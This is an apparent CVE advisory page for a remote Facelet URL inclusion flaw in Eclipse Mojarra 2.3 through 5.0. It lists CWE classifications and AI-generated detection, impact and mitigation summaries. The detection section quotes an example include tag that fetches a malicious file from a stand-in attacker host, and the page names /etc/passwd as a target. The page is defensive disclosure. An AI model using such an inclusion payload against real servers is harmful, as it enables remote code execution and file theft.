CVE-2026-46581
Received Received - Intake

Remote URL Inclusion in Eclipse Mojarra

Publication date: 2026-08-05

Last updated on: 2026-08-05

Assigner: Eclipse Foundation

Description
In Eclipse Mojarra versions 2.3 and following, URL handing in `DefaultFaceletFactory` does not properly sanitize and/or block remote URLs, allowing an attacker to specify a URL to a remote Facelet which will be included and processed as part of the normal request, with the privileges of the target server. This could allow access to restricted files such as `WEB-INF/web.xml` or `/etc/passwd`.

CVSS Scores

EPSS Scores

Probability:
Percentile:

Meta Information

Published
2026-08-05
Last Modified
2026-08-05
Generated
2026-08-05
AI Q&A
2026-08-05
EPSS Evaluated
N/A
NVD
CVE-2026-46581
EUVD
EUVD-2026-53328

Affected Vendors & Products

Showing 2 associated CPEs
Vendor Product Version / Range
eclipse mojarra From 2.3 (inc) to 5.0 (inc)
eclipse mojarra From 2.3 (inc)

Helpful Resources

Exploitability

CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-641 The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.
CWE-94 The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
CWE-22 The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Attack-Flow Graph

AI Quick Actions

Instant insights powered by AI
Executive Summary

CVE-2026-46581 is an unauthenticated Remote Code Execution (RCE) flaw in Eclipse Mojarra versions 2.3 through 5.0. It occurs due to improper URL handling in the DefaultFaceletFactory class, where remote URLs are not sanitized or blocked. Attackers can include and process malicious remote Facelet files as part of a normal request, executing with server privileges.

Detection Guidance

Check if your system runs Eclipse Mojarra versions 2.3 through 5.0. Inspect server logs for unusual requests containing remote URLs in Facelet tags like <ui:include src="http://attacker.com/malicious.xhtml">. Look for file access attempts to restricted paths such as WEB-INF/web.xml or /etc/passwd.

Impact Analysis

This vulnerability allows attackers to execute arbitrary code on the server with its privileges. They could access restricted files like WEB-INF/web.xml or system files such as /etc/passwd. It also enables local file disclosure and remote-Facelet RCE, compromising application integrity and confidentiality.

Compliance Impact

This RCE flaw could lead to unauthorized access to sensitive data, violating GDPR's data protection requirements and HIPAA's security rules. It may result in data breaches, unauthorized disclosures, and non-compliance with confidentiality and integrity mandates.

Mitigation Strategies

Upgrade Eclipse Mojarra to a patched version immediately. If upgrading is not possible, restrict network access to the application server and disable remote URL inclusion in Facelet tags by reviewing and modifying configuration files to block external references.

Chat Assistant

Ask questions about this CVE
Hi! I’m here to help you understand CVE-2026-46581. Ask me anything about the vulnerability, its impact, or mitigation strategies.
0/70

EPSS Chart